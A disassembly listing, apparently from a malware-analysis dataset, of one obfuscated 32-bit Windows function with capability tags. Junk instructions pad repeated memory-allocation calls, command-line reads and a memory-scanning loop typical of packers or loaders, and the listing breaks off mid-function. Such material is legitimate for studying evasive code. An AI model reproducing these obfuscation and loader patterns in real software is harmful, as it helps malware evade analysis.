Function at 0x40153d
Capabilities:
Accept command line arguments
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x30
push 8
push 0x8000
push 0xa00
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov eax, dword [esp]
mov esi, 2
mov eax, dword [esp]
mov eax, dword [esp]
mov ecx, dword [ebp]
mov di, 1
mov edi, 8
mov edi, esi
lea esi, [ebp]
lea esi, [ebp - 0x24]
mov edi, dword [ebp]
mov edi, dword [ebp - 0x20]
mov ecx, dword [esp]
mov dword [ebp - 0x20], edx
mov eax, dword [esp]
mov cx, 0x36
mov edi, dword [ebp - 0x1c]
mov edi, dword [ebp - 0x18]
mov eax, dword [esp]
mov edx, dword [ebp]
mov si, 0x40
mov ecx, dword [ebp]
mov edi, 1
mov si, 0xb8
mov ecx, dword [ebp]
mov edi, ecx
lea ecx, [ebp]
mov ax, 0x61
mov ax, 0xee
mov edi, 0x5f
mov edi, eax
lea ecx, [esp]
mov cx, 0x56
mov dword [ebp - 0x18], edi
mov ax, 4
lea eax, [ebp]
mov ecx, dword [esp]
mov esi, 0x51
sub edx, edx
mov ecx, 0x12c
and dword [ebp - 0x1c], 0xffff
lea ecx, [ebp - 0x28]
mov dword [ebp - 0x28], ecx
mov eax, 0x64
mov ecx, 0x200
mov eax, 0x12c
mov ecx, pe_nt_image_headers32
sub ecx, ecx
mov ecx, 1
mov dword [ebp - 0x24], 4
call fcn.004027c0
mov eax, 0x12c
mov eax, 8
mov dword [ebp - 0x1c], 0x19
and dword [ebp - 0x20], 0xffff
cmp eax, 0x7a
jae 0x40164a
mov edx, pe_nt_image_headers32
xor dword [ebp - 0x20], 0xffff
mov dword [ebp - 0x28], 8
mov dword [ebp - 0x1c], eax
mov ax, 0x3e
add dword [ebp - 0x20], 0x40
call dword [sym.imp.KERNEL32.dll_GetCommandLineA]
mov edi, 0x20
mov edi, dword [esp]
lea edi, [ebp - 0x1c]
mov ecx, edi
mov edi, dword [esp]
mov edi, dword [ebp]
lea esi, [esp]
lea edi, [ebp]
mov esi, edx
lea edx, [esp]
mov edi, edx
lea eax, [ebp - 0x18]
mov edx, 0x5a
mov edi, dword [ebp - 0x28]
lea edx, [ebp]
mov esi, dword [esp]
lea edx, [ebp - 0x20]
mov dword [ebp - 0x28], edi
mov dword [ebp - 0x18], edi
mov di, 0x4a
mov si, 2
mov edi, dword [ebp - 0x28]
lea eax, [ebp - 0x24]
mov edx, 0x79
mov edi, dword [esp]
mov dword [ebp - 0x24], edi
mov dx, 0xeb
lea edi, [ebp]
mov eax, dword [ebp]
lea edi, [esp]
mov edx, dword [ebp]
mov edx, dword [esp]
mov edi, dword [esp]
lea eax, [esp]
mov edx, dword [ebp - 0x18]
mov dword [ebp - 0x20], edi
mov si, 0xca
lea esi, [ebp]
mov di, 0xbb
mov esi, dword [ebp]
mov si, 0x92
lea esi, [ebp - 0x18]
mov ecx, 0
xor edx, edx
mov edx, 0x300
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov esi, dword [esp]
mov edi, dword [esp]
mov ecx, dword [esp]
mov edi, edx
mov edx, dword [ebp - 0x20]
mov esi, dword [ebp - 0x1c]
lea edi, [esp]
mov edi, esi
mov esi, eax
mov dword [ebp - 0x18], ecx
mov ax, 4
mov ax, 0x20
lea eax, [ebp]
lea edx, [ebp]
mov eax, dword [esp]
mov ecx, dword [esp]
lea eax, [esp]
mov edx, dword [ebp]
lea edx, [esp]
lea edx, [esp]
mov cx, 0x40
lea edi, [esp]
mov ecx, edx
mov esi, dword [ebp - 0x18]
lea ecx, [esp]
lea esi, [ebp - 0x18]
mov edi, dword [esp]
mov ecx, dword [esp]
mov ecx, edi
lea esi, [ebp - 0x24]
mov ecx, dword [ebp]
mov esi, dword [ebp]
mov di, 0x10
mov esi, dword [ebp - 0x18]
lea eax, [ebp]
mov cx, 0x40
mov edx, dword [esp]
mov dword [ebp - 0x20], ecx
mov esi, dword [ebp]
mov cx, 0x2d
mov esi, dword [ebp]
mov edx, 0x200
sub dword [ebp - 0x20], 2
or dword [ebp - 0x20], 0xff00ff
mov dword [ebp - 0x20], 0x80
cmp dword [ebp - 0x28], edx
jae 0x401798
mov ecx, dword [ebp - 0x24]
and dword [ebp - 0x24], 0xff
cmp edx, dword [ebp - 0x20]
jne 0x401798
xor ecx, ecx
push 2
push 0x2000
push 0xb00
push 0
push 0xffffffffffffffff
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov dword [ebp - 0x20], edi
lea edi, [esp]
mov edi, dword [ebp - 0x18]
mov edx, 0xb
mov dword [ebp - 0x1c], edi
lea ecx, [ebp]
mov di, 0xfc
mov si, 1
mov edx, dword [esp]
lea eax, [esp]
mov edx, dword [esp]
lea edx, [esp]
lea eax, [ebp - 0x24]
lea edx, [esp]
mov edi, dword [ebp]
mov edx, 0x20
mov ecx, 1
mov edi, eax
lea edi, [ebp]
mov edx, dword [ebp]
lea edx, [ebp - 0x28]
mov edi, dword [ebp - 0x1c]
mov ecx, dword [ebp - 0x28]
mov dword [ebp - 0x24], esi
mov eax, dword [ebp - 0x18]
lea eax, [esp]
mov edx, dword [ebp]
mov esi, 0x80
mov edi, edx
mov edi, dword [ebp - 0x28]
mov cx, 0x60
lea edi, [esp]
lea edx, [ebp - 0x1c]
mov dword [ebp - 0x24], esi
mov cx, 0x74
mov edi, dword [ebp - 0x28]
mov ecx, esi
lea esi, [ebp]
mov si, 0xde
lea edi, [ebp - 0x24]
mov eax, dword [ebp - 0x20]
sub dword [ebp - 0x18], 2
xor dword [ebp - 0x24], 0xff
mov edx, 0x200
and dword [ebp - 0x20], 0xffff
push 8
push 0x4000
push 0x1000
push 0
push 0xffffffffffffffff
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov cx, 2
lea eax, [esp]
mov esi, 0xbf
mov edx, 0xfe
mov dword [ebp - 0x18], esi
mov edi, dword [ebp - 0x28]
mov dword [ebp - 0x18], edi
mov dword [ebp - 0x24], ecx
mov eax, dword [esp]
mov cx, 2
lea edx, [ebp - 0x1c]
mov ax, 0xbc
mov edx, eax
lea ecx, [ebp]
lea eax, [esp]
lea edx, [ebp]
mov cx, 0x41
mov eax, dword [ebp - 0x28]
mov edi, ecx
mov edx, 0x20
lea esi, [ebp]
mov ecx, dword [ebp - 0x20]
mov edi, dword [ebp - 0x28]
mov edi, 0x20
mov ecx, dword [ebp - 0x24]
mov edi, 0x20
mov dword [ebp - 0x28], edi
mov edx, dword [ebp - 0x28]
lea esi, [ebp - 0x1c]
mov edi, dword [esp]
mov edx, edi
mov dword [ebp - 0x20], edi
mov dword [ebp - 0x1c], ecx
lea esi, [ebp]
mov di, 0x50
mov edi, 0x1a
mov edi, dword [ebp - 0x1c]
lea esi, [ebp - 0x1c]
lea edi, [ebp - 0x20]
xor eax, eax
mov ax, 1
and dword [ebp - 0x18], 0xff
mov eax, 1
mov ax, 0x61
cmp dword [ebp - 0x18], eax
je 0x401905
sub ecx, ecx
sub ecx, ecx
mov dword [ebp - 0x1c], eax
mov ax, 0x35
call dword [sym.imp.KERNEL32.dll_GetCommandLineA]
lea edi, [ebp - 0x1c]
mov dx, 0x20
mov dx, 0xd0
lea edx, [ebp - 0x20]
lea edi, [esp]
lea eax, [esp]
mov edi, dword [ebp]
mov edi, dword [ebp]
lea ecx, [ebp - 0x24]
lea eax, [ebp]
mov di, 0xf5
mov esi, dword [esp]
mov eax, dword [esp]
mov edx, dword [ebp]
mov esi, edi
mov ecx, dword [ebp]
mov esi, dword [esp]
mov dword [ebp - 0x20], eax
lea edi, [ebp - 0x20]
mov dword [ebp - 0x28], esi
lea esi, [esp]
mov esi, dword [ebp]
lea edi, [esp]
mov eax, edx
mov dword [ebp - 0x24], edi
mov eax, dword [ebp - 0x18]
mov ecx, 0x16
mov dword [ebp - 0x20], esi
lea edi, [ebp - 0x28]
mov dword [ebp - 0x24], edx
mov edi, 0x83
mov esi, dword [ebp]
mov dx, 1
mov edx, edi
lea edi, [ebp]
mov edi, dword [esp]
mov eax, dword [ebp]
lea ecx, [ebp]
mov dx, 0x23
mov ecx, edi
lea esi, [ebp - 0x28]
mov esi, dword [esp]
mov edi, dword [esp]
mov edx, 0xec
mov eax, 0
or dword [ebp - 0x20], 0xff
mov dword [ebp - 0x28], eax
and dword [ebp - 0x18], 0xff
mov dword [ebp - 0x20], eax
xor eax, eax
xor dword [ebp - 0x24], 0xff00ff
cmp eax, 0xe1
jne 0x4019d5
xor dword [ebp - 0x1c], 0xff00ff
mov edx, 0x12c
mov edx, 0x6c
add dword [ebp - 0x20], 4
xor dword [ebp - 0x1c], 0xff00ff
sub eax, eax
and dword [ebp - 0x24], 0xffff
cmp dword [ebp - 0x28], eax
jbe 0x4019fa
xor ecx, ecx
mov ecx, 0x10
cmp ecx, 0
jbe 0x4019fa
xor edx, edx
mov dword [ebp - 0x18], 0x6b
and dword [ebp - 0x20], 0xff00ff
xor dword [ebp - 0x18], 0xff
mov eax, 2
cmp edx, 0x1ac
jb 0x401a3a
xor eax, eax
add dword [ebp - 0x18], 0x80
or dword [ebp - 0x24], 0xffff
cmp edx, 0xf9
jb 0x401a3a
mov dx, 0x40
sub ecx, ecx
sub dword [ebp - 0x20], 0x6d
lea ecx, [ebp - 0x28]
mov cx, 1
cmp ecx, 0xcb
jbe 0x401a6e
mov cx, 0x61
xor eax, eax
mov ax, 0x80
and dword [ebp - 0x20], 0xff
and dword [ebp - 0x20], 0xffff
mov dword [ebp - 0x20], 8
sub eax, eax
sub eax, eax
cmp eax, 0
ja 0x401a85
sub ecx, ecx
or dword [ebp - 0x28], 0xff
mov eax, 0x4f
and dword [ebp - 0x1c], 0xffff
sub ecx, ecx
and dword [ebp - 0x28], 0xffff
cmp dword [ebp - 0x28], ecx
jae 0x401aa7
mov eax, 0
sub dword [ebp - 0x1c], 0x4f
test ecx, ecx
ja 0x401ab0
sub ecx, ecx
or dword [ebp - 0x24], 0xff
mov ecx, 0x200
and dword [ebp - 0x24], 0xff
xor ecx, ecx
cmp ecx, dword [ebp - 0x28]
ja 0x401acf
mov edx, pe_nt_image_headers32
xor edx, edx
cmp dword [ebp - 0x18], edx
jne 0x401acf
call dword [sym.imp.KERNEL32.dll_GetACP]
mov cx, 0xd6
mov eax, dword [ebp - 0x24]
mov edi, dword [ebp - 0x28]
lea ecx, [ebp - 0x28]
mov edx, dword [esp]
lea edx, [ebp]
mov dword [ebp - 0x20], ecx
mov cx, 0xec
lea ecx, [ebp]
lea esi, [ebp - 0x18]
mov esi, 0x20
mov edi, dword [ebp]
mov edi, dword [ebp - 0x20]
lea edx, [ebp]
mov eax, dword [ebp]
mov edi, dword [esp]
mov edi, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x18]
lea edx, [esp]
lea edx, [ebp]
mov dword [ebp - 0x28], eax
lea edi, [ebp]
mov edi, dword [ebp]
mov dword [ebp - 0x24], edi
mov si, 0xe7
mov dword [ebp - 0x20], edx
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0x1c], eax
lea edi, [ebp]
lea esi, [ebp - 0x1c]
mov eax, dword [esp]
lea edx, [esp]
mov edi, dword [ebp - 0x18]
mov dx, 0xc7
lea edx, [ebp]
mov eax, dword [ebp]
lea edx, [esp]
mov dword [ebp - 0x28], edx
mov edi, eax
mov eax, 0
or dword [ebp - 0x1c], 0xffff
mov dword [ebp - 0x18], eax
cmp eax, 0
jne 0x401b76
mov edx, 0xc8
or dword [ebp - 0x24], 0xffffff
cmp dword [ebp - 0x18], eax
ja 0x401b76
sub eax, eax
call dword [sym.imp.KERNEL32.dll_GetCommandLineA]
mov edi, esi
mov edx, dword [ebp]
lea esi, [esp]
mov di, 0x20
lea edx, [ebp - 0x24]
mov di, 0xb5
lea edi, [ebp]
mov esi, dword [ebp]
mov di, 0x40
mov edi, ecx
lea eax, [ebp - 0x24]
lea ecx, [ebp - 0x28]
mov eax, dword [esp]
mov dword [ebp - 0x24], ecx
mov di, 0x95
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x20], eax
mov eax, dword [ebp]
mov esi, dword [ebp]
mov eax, ecx
mov di, 0x20
lea esi, [ebp - 0x24]
lea eax, [ebp]
mov dword [ebp - 0x28], eax
mov eax, dword [ebp]
mov edi, eax
mov ecx, dword [ebp - 0x24]
mov si, 0x26
mov edi, dword [esp]
mov dword [ebp - 0x1c], edi
lea edx, [ebp - 0x28]
mov dword [ebp - 0x24], eax
lea edx, [ebp]
mov dword [ebp - 0x24], eax
mov cx, 0xeb
lea edi, [esp]
mov dword [ebp - 0x1c], eax
lea edi, [esp]
mov eax, 0x40
lea edi, [esp]
mov edi, eax
mov edx, pe_nt_image_headers32
mov ecx, 0x64
and dword [ebp - 0x24], 0xff
push 4
push 0x8000
push 0xb00
push 0
push 0xffffffffffffffff
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov esi, dword [ebp]
lea edi, [ebp - 0x28]
mov di, 0x12
mov esi, dword [esp]
mov dword [ebp - 0x18], esi
lea ecx, [esp]
mov edi, dword [esp]
lea edi, [esp]
mov dword [ebp - 0x20], edx
mov ecx, dword [esp]
mov edi, dword [ebp - 0x20]
mov eax, dword [ebp]
mov edi, dword [ebp - 0x20]
mov esi, 2
mov ax, 0x3d
mov dword [ebp - 0x28], eax
mov edi, dword [esp]
mov dword [ebp - 0x20], esi
lea edi, [ebp - 0x24]
mov edx, 1
lea edx, [ebp - 0x28]
mov ax, 0x20
lea edx, [ebp - 0x1c]
lea edx, [ebp - 0x20]
mov edx, dword [esp]
lea edi, [ebp - 0x28]
mov dword [ebp - 0x28], eax
mov eax, edi
mov ecx, dword [ebp]
mov edi, dword [ebp]
mov dword [ebp - 0x18], eax
mov esi, dword [esp]
mov esi, dword [ebp]
lea edi, [ebp - 0x20]
mov edx, dword [esp]
mov dword [ebp - 0x20], edi
mov dx, 0x15
mov eax, dword [esp]
lea eax, [esp]
mov esi, 0xcb
lea ecx, [esp]
mov eax, 0
sub eax, eax
xor dword [ebp - 0x20], 0xff00ff
cmp dword [ebp - 0x1c], eax
jbe 0x401cd1
and dword [ebp - 0x18], 0xffff
mov edx, 2
mov edx, 0x200
xor eax, eax
mov dword [ebp - 0x20], eax
sub eax, eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov dx, 0x40
mov si, 0x64
mov eax, dword [ebp - 0x20]
lea eax, [ebp - 0x24]
lea edi, [ebp]
mov esi, eax
mov dword [ebp - 0x20], edi
lea edi, [ebp]
mov edx, 1
mov eax, dword [ebp]
mov edi, dword [esp]
lea ecx, [ebp]
mov dword [ebp - 0x1c], edi
mov edi, dword [ebp - 0x24]
lea ecx, [ebp]
mov edi, ecx
lea edi, [ebp - 0x18]
mov ecx, edi
mov dword [ebp - 0x1c], edi
mov dword [ebp - 0x20], ecx
mov esi, dword [ebp]
lea esi, [ebp]
mov ecx, dword [ebp]
lea eax, [ebp]
mov eax, dword [esp]
lea eax, [esp]
lea edx, [ebp]
mov dword [ebp - 0x20], ecx
mov edi, 0x20
mov edx, dword [ebp]
mov edi, dword [ebp - 0x18]
mov edx, dword [ebp]
lea esi, [esp]
mov eax, dword [ebp - 0x20]
lea edx, [ebp]
lea edx, [esp]
mov edi, dword [esp]
lea edx, [esp]
mov ecx, edi
lea eax, [esp]
mov eax, dword [ebp - 0x1c]
mov eax, 2
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x18], eax
cmp eax, 0x21
jbe 0x401d76
mov dword [ebp - 0x24], eax
sub edx, edx
mov dword [ebp - 0x20], 0x7f
xor edx, edx
xor eax, eax
xor edx, edx
sub dword [ebp - 0x20], 0x78
mov dword [ebp - 0x20], 0x62
sub edx, edx
cmp edx, 0
jb 0x401d97
xor eax, eax
or dword [ebp - 0x28], 0xff
test eax, eax
jb 0x401d97
lea eax, [ebp - 0x28]
mov eax, 4
mov ecx, dword [ebp - 4]
push 1
push ecx
call dword [sym.imp.KERNEL32.dll_IsBadReadPtr]
test eax, eax
je 0x401de7
xor edi, edi
and dword [ebp - 0x18], 0xffff
mov di, 4
cmp edi, 0
jbe 0x401dde
xor esi, esi
xor esi, esi
or dword [ebp - 0x1c], 0xff
cmp esi, 0
jae 0x401dde
xor edi, edi
and dword [ebp - 0x18], 0xffffff
push dword [ebp - 0x24]
call dword [sym.imp.KERNEL32.dll_ExitThread]
mov ecx, dword [ebp - 4]
mov edx, dword [ecx]
mov edi, dword [ebp - 0x24]
or dword [ebp - 0x24], 0xff
mov esi, dword [ebp - 0x1c]
mov dword [ebp - 0x18], esi
mov dword [ebp - 0x18], 0x32
sub dword [ebp - 0x24], 4
sub dword [ebp - 0x28], 0x4f
mov dword [ebp - 0x20], 0x52
sub edi, edi
and dword [ebp - 0x1c], 0xffffff
lea esi, [ebp - 0x20]
or dword [ebp - 0x20], 0xffffff
mov esi, 0x200
sub edi, edi
add dword [ebp - 0x18], 1
and dword [ebp - 0x28], 0xff
inc dword [ebp - 4]
mov edi, dword [ebp - 0x20]
mov dword [ebp - 0x20], edi
cmp edi, dword [ebp - 0x1c]
jb 0x401e4f
mov esi, dword [ebp - 0x1c]
mov dword [ebp - 0x20], 0x20
xor edx, 0x758b0000
jne 0x401d76
sub ecx, ecx
sub eax, eax
add dword [ebp - 0x20], 0x20
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov edx, dword [ebp]
mov edi, dword [esp]
mov eax, 8
lea edi, [esp]
lea edi, [ebp]
mov edi, 8
mov edi, 1
mov edi, dword [ebp]
mov di, 1
mov dword [ebp - 0x20], eax
mov di, 4
mov ecx, dword [esp]
mov di, 0xd6
mov eax, dword [ebp - 0x28]
mov edi, dword [ebp]
mov dword [ebp - 0x24], edi
mov edi, dword [esp]
mov edi, dword [ebp]
mov dword [ebp - 0x28], ecx
mov cx, 0x33
mov eax, dword [esp]
mov edi, dword [ebp]
mov eax, edi
mov si, 0xbb
mov edx, 0xb5
mov dword [ebp - 0x24], edx
mov edx, ecx
lea ecx, [ebp]
lea esi, [ebp]
mov dword [ebp - 0x1c], edi
mov dword [ebp - 0x24], edi
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x1c], ecx
mov esi, 8
mov ecx, eax
mov eax, dword [ebp - 0x20]
mov esi, dword [ebp - 0x28]
lea eax, [ebp]
mov dword [ebp - 0x1c], edi
mov edx, 0x300
and dword [ebp - 0x18], 0xff00ff
mov edx, 0x25
cmp edx, dword [ebp - 0x1c]
jae 0x401f1d
mov edx, 0x47
mov ecx, 0x200
or dword [ebp - 0x18], 0xff
lea edx, [ebp - 0x18]
or dword [ebp - 0x1c], 0xff00ff
and dword [ebp - 0x28], 0xffff
and dword [ebp - 0x20], 0xff00ff
push 8
push 0x8000
push 0x300
push 0
push 0xffffffffffffffff
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov di, 0xce
mov cx, 2
mov eax, dword [esp]
mov ecx, dword [ebp]
mov ecx, 0x3c
lea esi, [ebp]
mov edx, dword [esp]
mov edx, dword [esp]
mov eax, dword [ebp]
lea eax, [ebp]
lea edi, [ebp]
lea edi, [esp]
mov edx, dword [ebp - 0x20]
mov eax, dword [esp]
lea edi, [ebp]
mov edi, eax
lea edx, [esp]
lea edi, [esp]
mov edi, dword [esp]
mov esi, dword [ebp - 0x1c]
mov ecx, dword [ebp - 0x1c]
lea eax, [ebp]
mov ecx, dword [esp]
mov eax, edx
mov eax, edx
mov eax, 0xdc
mov ecx, dword [ebp - 0x18]
lea ecx, [ebp - 0x24]
mov ecx, 0x40
lea esi, [ebp - 0x24]
mov edi, esi
mov dword [ebp - 0x1c], esi
lea esi, [ebp - 0x24]
mov ecx, dword [ebp - 0x28]
mov dword [ebp - 0x1c], eax
mov esi, 0xc
lea edi, [esp]
lea ecx, [ebp]
lea eax, [ebp - 0x1c]
mov eax, 4
mov di, 0x10
mov eax, 0x6f
mov edi, esi
mov edx, pe_nt_image_headers32
xor eax, eax
mov dword [ebp - 0x28], 1
add dword [ebp - 0x20], 0x5a
xor dword [ebp - 0x1c], 0xff00ff
push 4
push 0x4000
push 0x200
push 0
push 0xffffffffffffffff
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov edi, dword [ebp]
mov dword [ebp - 0x18], ecx
mov eax, dword [esp]
mov esi, dword [esp]
mov edx, dword [esp]
lea ecx, [ebp]
lea esi, [ebp]
mov edx, 0x80
mov esi, eax
mov di, 4
mov edx, ecx
mov esi, 0x27
mov ecx, dword [ebp]
lea esi, [ebp]
lea edi, [ebp - 0x24]
lea ecx, [esp]
mov edx, 0x40
lea eax, [ebp - 0x20]
mov di, 0x4b
mov edi, dword [ebp - 0x24]
lea edi, [ebp - 0x28]
lea esi, [ebp - 0x24]
mov dword [ebp - 0x20], eax
lea esi, [ebp]
mov ecx, edx
lea edi, [ebp - 0x18]
mov di, 0x80
mov eax, dword [esp]
lea esi, [ebp]
mov ecx, 0x10
mov eax, dword [ebp]
mov di, 0x6c
mov edi, dword [ebp]
lea edi, [ebp]
lea esi, [ebp]
lea ecx, [ebp]
mov esi, dword [esp]
mov ecx, 0x66
mov eax, 0
xor edx, edx
lea edx, [ebp - 0x20]
mov dx, 0x20
mov edx, 0x43
xor edx, edx
xor dword [ebp - 0x18], 0xffffff
cmp edx, dword [ebp - 0x24]
ja 0x4020ab
mov ecx, 0
mov dword [ebp - 0x20], 0x19
lea edx, [ebp - 0x24]
lea edx, [ebp - 0x20]
mov ecx, dword [ebp - 0x18]
add dword [ebp - 0x24], 2
sub ecx, ecx
cmp ecx, dword [ebp - 0x18]
jne 0x4020ce
mov edx, dword [ebp - 0x1c]
mov dword [ebp - 0x18], edx
mov dx, 0x80
test ecx, ecx
je 0x4020ce
mov dword [ebp - 0x28], 8
xor ecx, ecx
and dword [ebp - 0x1c], 0xffff
test ecx, ecx
je 0x4020e2
mov edx, dword [ebp - 0x1c]
sub dword [ebp - 0x28], 8
mov dword [ebp - 0x1c], ecx
sub dword [ebp - 0x28], 0x52
mov edi, dword [ebp - 0x28]
mov edx, dword [ebp - 0x1c]
sub dword [ebp - 0x18], 0x40
add dword [ebp - 0x1c], 4
push edi
call fcn.004037e9
mov eax, dword [ebp - 0x24]
xor dword [ebp - 0x24], 0xff00ff
xor eax, eax
mov dword [ebp - 0x28], eax
cmp dword [ebp - 0x18], eax
jae 0x40212c
mov ecx, dword [ebp - 0x28]
mov dword [ebp - 0x24], 0x46
mov dword [ebp - 0x24], 0x40
mov eax, 0x4d
mov eax, 0x20
sub edx, edx
and dword [ebp - 0x24], 0xffff
mov dword [ebp - 0x20], 8
cmp edx, 0
jae 0x402157
mov eax, dword [ebp - 0x28]
and dword [ebp - 0x28], 0xffff
and dword [ebp - 0x1c], 0xffffff
lea edx, [ebp - 0x28]
xor edx, edx
xor eax, eax
sub edx, edx
sub edx, edx
mov eax, 0xc8
xor eax, eax
and dword [ebp - 0x20], 0xffffff
xor edx, edx
push eax
push dword [ebp - 0x1c]
call fcn.004037e9
sub edx, edx
and dword [ebp - 0x1c], 0xffff
cmp edx, 0x53
jb 0x402192
sub eax, eax
xor dword [ebp - 0x28], 0xffffff
cmp edx, 0
jne 0x402192
xor edx, edx
mov edx, 0x7e
cmp edx, 0
je 0x4021a0
xor edx, edx
and dword [ebp - 0x20], 0xffffff
sub dword [ebp - 0x18], 0x67
push dword [ebp - 0x20]
call fcn.00401480
sub edx, edx
mov eax, dword [ebp - 0x18]
mov ecx, 0
mov eax, 0x40
and dword [ebp - 0x24], 0xffff
cmp ecx, 0xac
ja 0x4021e7
mov eax, 0xc8
mov dword [ebp - 0x20], eax
and dword [ebp - 0x18], 0xff00ff
and dword [ebp - 0x18], 0xffff
mov eax, pe_nt_image_headers32
mov dword [ebp - 0x1c], 1
cmp eax, 0
jae 0x402209
mov ecx, 0x300
and dword [ebp - 0x1c], 0xff
cmp eax, dword [ebp - 0x28]
jae 0x402209
mov ax, 0x63
call fcn.00403bd6
sub eax, eax
mov dword [ebp - 0x24], 0x1f
sub eax, eax
and dword [ebp - 0x1c], 0xffff
add dword [ebp - 0x28], 1
mov ecx, 0x300
sub dword [ebp - 0x28], 0x13
add dword [ebp - 0x20], 0x69
xor ecx, ecx
call fcn.004037e9
xor edx, edx
sub dword [ebp - 0x20], 0x10
or dword [ebp - 0x18], 0xff00ff
sub dword [ebp - 0x24], 4
and dword [ebp - 0x1c], 0xff
cmp edx, 0
ja 0x402268
mov cx, 0x2a
mov ecx, 0x12c
sub ecx, ecx
sub edx, edx
sub edx, edx
mov ecx, 0
lea ecx, [ebp - 0x20]
xor dword [ebp - 0x1c], 0xffffff
cmp ecx, 0x41
jbe 0x402287
mov edx, dword [ebp - 0x20]
mov dword [ebp - 0x24], edx
cmp dword [ebp - 0x28], edx
jne 0x40228b
mov dx, 3
mov dword [ebp - 0x24], ecx
call fcn.004037e9
sub ecx, ecx
mov ecx, 0x65
xor ecx, ecx
or dword [ebp - 0x24], 0xff
cmp dword [ebp - 0x18], ecx
jbe 0x4022b8
mov edx, 0x64
mov dword [ebp - 0x24], 8
test ecx, ecx
je 0x4022b8
add dword [ebp - 0x28], 0x77
xor ecx, ecx
xor ecx, ecx
cmp ecx, 0
jb 0x4022de
xor eax, eax
cmp dword [ebp - 0x20], ecx
jbe 0x4022de
and dword [ebp - 0x18], 0xffffff
add dword [ebp - 0x18], 0x54
and dword [ebp - 0x24], 0xffffff
mov edi, 0
or dword [ebp - 0x20], 0xffffff
cmp dword [ebp - 0x18], edi
jb 0x402304
mov edi, dword [ebp - 0x24]
lea edi, [ebp - 0x18]
add dword [ebp - 0x28], 0x10
and dword [ebp - 0x28], 0xff
mov di, 0x4d
push edi
push dword [ebp - 0x24]
push edi
call fcn.00403446
xor edx, edx
mov dword [ebp - 0x24], 0x10
mov dx, 8
sub eax, eax
mov ax, 0x3d
or dword [ebp - 0x1c], 0xffffff
mov eax, dword [ebp - 0x1c]
lea eax, [ebp - 0x28]
lea eax, [ebp - 0x20]
lea eax, [ebp - 0x24]
mov ax, 0x4c
cmp dword [ebp - 0x18], eax
je 0x402352
sub edx, edx
cmp edx, 0xf0
jae 0x402352
mov ax, 0x80
and dword [ebp - 0x28], 0xff
call fcn.00401480
mov ecx, dword [ebp - 0x1c]
sub dword [ebp - 0x20], 0x3d
sub edx, edx
mov dword [ebp - 0x1c], 0x76
add dword [ebp - 0x20], 0x6d
sub dword [ebp - 0x18], 0x20
mov eax, dword [ebp - 0x28]
mov dword [ebp - 0x28], eax
sub dword [ebp - 0x24], 0x40
mov dword [ebp - 0x18], eax
cmp eax, dword [ebp - 0x1c]
ja 0x40238a
xor edx, edx
mov dword [ebp - 0x1c], 0x80
xor eax, eax
and dword [ebp - 0x28], 0xff00ff
mov eax, 0x23
mov dword [ebp - 0x20], eax
cmp eax, dword [ebp - 0x1c]
jae 0x4023ac
xor edx, edx
mov edx, 4
cmp eax, 0
jae 0x4023b3
and dword [ebp - 0x18], 0xff
call fcn.004037e9
mov ecx, 0x200
sub ecx, ecx
test ecx, ecx
jne 0x4023cf
xor eax, eax
mov eax, 0x25
cmp dword [ebp - 0x28], ecx
jae 0x4023cf
lea ecx, [ebp - 0x28]
mov edx, pe_nt_image_headers32
mov eax, 0x300
add dword [ebp - 0x28], 0x6c
mov edx, 0x4d
lea edx, [ebp - 0x28]
and dword [ebp - 0x20], 0xff
call fcn.004037e9
push 4
push 0x4000
push 0x200
push 0
push 0xffffffffffffffff
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov eax, dword [ebp]
lea edi, [ebp]
mov ecx, dword [ebp - 0x28]
mov dword [ebp - 0x18], esi
mov edi, dword [ebp - 0x1c]
lea ecx, [esp]
mov si, 4
mov edx, dword [ebp - 0x1c]
lea eax, [ebp]
mov ecx, dword [ebp]
mov ecx, dword [ebp]
lea edx, [ebp]
mov esi, 2
lea esi, [ebp]
mov edi, 0x80
mov dword [ebp - 0x20], edi
mov eax, dword [ebp]
mov ecx, dword [ebp - 0x1c]
mov di, 2
mov ecx, dword [ebp - 0x20]
mov edi, dword [ebp - 0x18]
mov ax, 4
lea eax, [ebp]
mov edx, esi
lea ecx, [ebp]
mov dword [ebp - 0x20], ecx
mov edi, dword [ebp - 0x18]
lea edx, [ebp - 0x24]
mov edi, dword [esp]
mov ecx, 0x80
mov ax, 0x20
lea edi, [ebp]
lea ecx, [esp]
lea edi, [ebp - 0x18]
mov ecx, dword [ebp]
mov esi, dword [ebp]
lea eax, [esp]
lea eax, [ebp - 0x18]
xor ecx, ecx
and dword [ebp - 0x18], 0xff
sub eax, eax
mov dword [ebp - 0x24], 0x10
xor ecx, ecx
call dword [sym.imp.KERNEL32.dll_GetCommandLineA]
mov cx, 0xcc
mov esi, dword [esp]
lea eax, [ebp - 0x18]
mov edx, dword [ebp]
mov edi, 0x10
lea eax, [esp]
mov si, 0xb8
mov edi, esi
mov edi, dword [ebp - 0x24]
lea eax, [ebp - 0x20]
mov esi, 0xc1
lea edx, [ebp]
mov eax, dword [ebp - 0x24]
lea edi, [ebp]
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x1c], edi
mov dword [ebp - 0x18], esi
mov edx, dword [ebp - 0x20]
mov si, 0x40
mov ecx, dword [esp]
mov di, 0x20
mov ecx, dword [esp]
lea edi, [ebp - 0x24]
mov esi, 0x20
lea esi, [ebp]
mov esi, dword [esp]
lea ecx, [esp]
mov esi, dword [ebp - 0x1c]
lea ecx, [esp]
mov ecx, 0x99
mov edi, dword [ebp]
mov ecx, dword [esp]
lea eax, [ebp - 0x24]
lea eax, [esp]
lea ecx, [ebp]
mov esi, ecx
mov esi, edi
lea esi, [esp]
mov edi, esi
mov edi, dword [ebp]
lea edi, [ebp]
